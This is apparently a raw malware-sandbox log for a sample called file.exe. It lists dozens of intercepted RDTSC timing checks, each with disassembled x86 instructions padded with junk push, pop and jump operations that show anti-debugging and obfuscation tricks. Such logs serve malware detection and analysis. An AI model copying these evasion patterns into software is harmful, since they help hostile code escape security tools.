Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCDBA0 second address: CCDBAE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6398F5EC96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFA40 second address: CCFA4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F6398F5B496h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCDBAE second address: CCDBB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4489 second address: CD44A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6398F5B4A7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD44A4 second address: CD44B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jnl 00007F6398F5EC96h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0ABE second address: CD0AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0AC7 second address: CD0ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C712DB second address: C712E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C761A4 second address: C761E5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6398F5EC96h 0x00000008 jmp 00007F6398F5ECA9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F6398F5EC9Dh 0x00000014 push ebx 0x00000015 push edi 0x00000016 pop edi 0x00000017 pop ebx 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e pop edi 0x0000001f jnl 00007F6398F5EC96h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C761E5 second address: C761EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C761EF second address: C761F9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6398F5EC96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C761F9 second address: C761FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD93FF second address: CD9404 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9404 second address: CD9417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6398F5B49Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9417 second address: CD9437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6398F5ECA6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9437 second address: CD9475 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5B4A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnc 00007F6398F5B496h 0x00000010 jmp 00007F6398F5B4A8h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD958A second address: CD958E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD958E second address: CD9594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9594 second address: CD959E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD959E second address: CD95BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5B4A1h 0x00000007 je 00007F6398F5B496h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD95BD second address: CD95C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD95C1 second address: CD95C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCC1D second address: CDCC2F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCC2F second address: CDCC33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCC33 second address: CDCC41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5EC9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCC41 second address: CDCC52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCC52 second address: CDCC56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCC56 second address: CDCC78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5B4A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F6398F5B49Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCC78 second address: CDCC9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6398F5ECA7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7B2D1 second address: C7B2D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4E61 second address: CE4E79 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6398F5EC96h 0x00000008 jng 00007F6398F5EC96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007F6398F5EC96h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4E79 second address: CE4E9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5B49Ch 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007F6398F5B49Fh 0x00000011 pop esi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3B85 second address: CE3B89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE430A second address: CE430E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE430E second address: CE4312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4312 second address: CE432C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6398F5B4A4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE432C second address: CE4338 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6398F5EC9Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4752 second address: CE4761 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jns 00007F6398F5B496h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4B4B second address: CE4B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4B4F second address: CE4B53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4B53 second address: CE4B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6398F5EC9Eh 0x0000000c jmp 00007F6398F5ECA7h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4B80 second address: CE4B8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F6398F5B496h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4B8D second address: CE4B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4D04 second address: CE4D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4D08 second address: CE4D18 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F6398F5EC9Ah 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4D18 second address: CE4D1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8909 second address: CE8915 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE7D6 second address: CBE7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE7DC second address: CBE855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 xchg eax, ebx 0x00000007 mov edx, dword ptr [ebp+122D2A7Bh] 0x0000000d sub di, 0392h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 or dword ptr [ebp+122D30BFh], ebx 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 mov dword ptr [ebp+122D218Dh], edx 0x0000002c mov dword ptr [ebp+124804CDh], esp 0x00000032 mov edx, dword ptr [ebp+122D2BDBh] 0x00000038 cmp dword ptr [ebp+122D2A8Bh], 00000000h 0x0000003f jne 00007F6398F5ED7Ch 0x00000045 call 00007F6398F5EC9Bh 0x0000004a mov edi, 293FB844h 0x0000004f pop edx 0x00000050 mov byte ptr [ebp+122D1F1Fh], 00000047h 0x00000057 and edx, dword ptr [ebp+122D2AB3h] 0x0000005d mov eax, D49AA7D2h 0x00000062 and edx, dword ptr [ebp+122D1C79h] 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b push esi 0x0000006c ja 00007F6398F5EC96h 0x00000072 pop esi 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE855 second address: CBE85B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE85B second address: CBE85F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEC22 second address: CBEC7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F6398F5B496h 0x0000000d jng 00007F6398F5B496h 0x00000013 popad 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 pushad 0x0000001a jbe 00007F6398F5B49Ch 0x00000020 js 00007F6398F5B496h 0x00000026 push ebx 0x00000027 push ecx 0x00000028 pop ecx 0x00000029 pop ebx 0x0000002a popad 0x0000002b mov eax, dword ptr [eax] 0x0000002d pushad 0x0000002e jmp 00007F6398F5B4A5h 0x00000033 jnl 00007F6398F5B49Ch 0x00000039 popad 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 je 00007F6398F5B496h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEC7F second address: CBED25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5ECA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F6398F5EC9Ch 0x0000000e popad 0x0000000f pop eax 0x00000010 mov dh, bl 0x00000012 call 00007F6398F5EC99h 0x00000017 jne 00007F6398F5ECA2h 0x0000001d push eax 0x0000001e jl 00007F6398F5ECA2h 0x00000024 jnc 00007F6398F5EC9Ch 0x0000002a mov eax, dword ptr [esp+04h] 0x0000002e push edi 0x0000002f ja 00007F6398F5ECAEh 0x00000035 pop edi 0x00000036 mov eax, dword ptr [eax] 0x00000038 jmp 00007F6398F5ECA8h 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 jnp 00007F6398F5EC96h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEDFB second address: CBEDFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEDFF second address: CBEE03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEE94 second address: CBEEC9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6398F5B498h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], esi 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F6398F5B498h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 nop 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d pop eax 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEEC9 second address: CBEED7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5EC9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEED7 second address: CBEEDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEEDD second address: CBEEEE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6398F5EC96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEEEE second address: CBEEF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF08F second address: CBF09D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6398F5EC96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF09D second address: CBF0A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF18E second address: CBF194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF194 second address: CBF19B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF5AB second address: CBF5B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF895 second address: CBF8BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6398F5B4A0h 0x00000009 popad 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jo 00007F6398F5B4A0h 0x00000015 pushad 0x00000016 push edx 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF8BA second address: CBF8E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 jp 00007F6398F5ECAEh 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push esi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF8E7 second address: CBF8ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC22C second address: CEC232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC232 second address: CEC269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F6398F5B4A8h 0x0000000a jmp 00007F6398F5B49Bh 0x0000000f popad 0x00000010 jng 00007F6398F5B4B6h 0x00000016 jo 00007F6398F5B4A2h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC269 second address: CEC27C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F6398F5EC96h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC55D second address: CEC567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F6398F5B496h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEC9B2 second address: CEC9CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6398F5ECA2h 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CECB1F second address: CECB23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CECB23 second address: CECB34 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6398F5EC96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CECB34 second address: CECB40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CECB40 second address: CECB46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CECB46 second address: CECB4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CECB4A second address: CECB50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CECB50 second address: CECB56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CECB56 second address: CECB78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6398F5ECA8h 0x00000009 jns 00007F6398F5EC96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CECB78 second address: CECB7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF17E0 second address: CF17E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF17E8 second address: CF17EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1978 second address: CF1991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6398F5ECA5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1991 second address: CF19A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F6398F5B496h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF19A4 second address: CF19CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F6398F5EC96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnc 00007F6398F5ECADh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF19CD second address: CF19D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jne 00007F6398F5B496h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF19D9 second address: CF19DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2093 second address: CF2097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2097 second address: CF209D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF209D second address: CF20D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5B4A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007F6398F5B4A5h 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007F6398F5B496h 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF20D3 second address: CF20D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
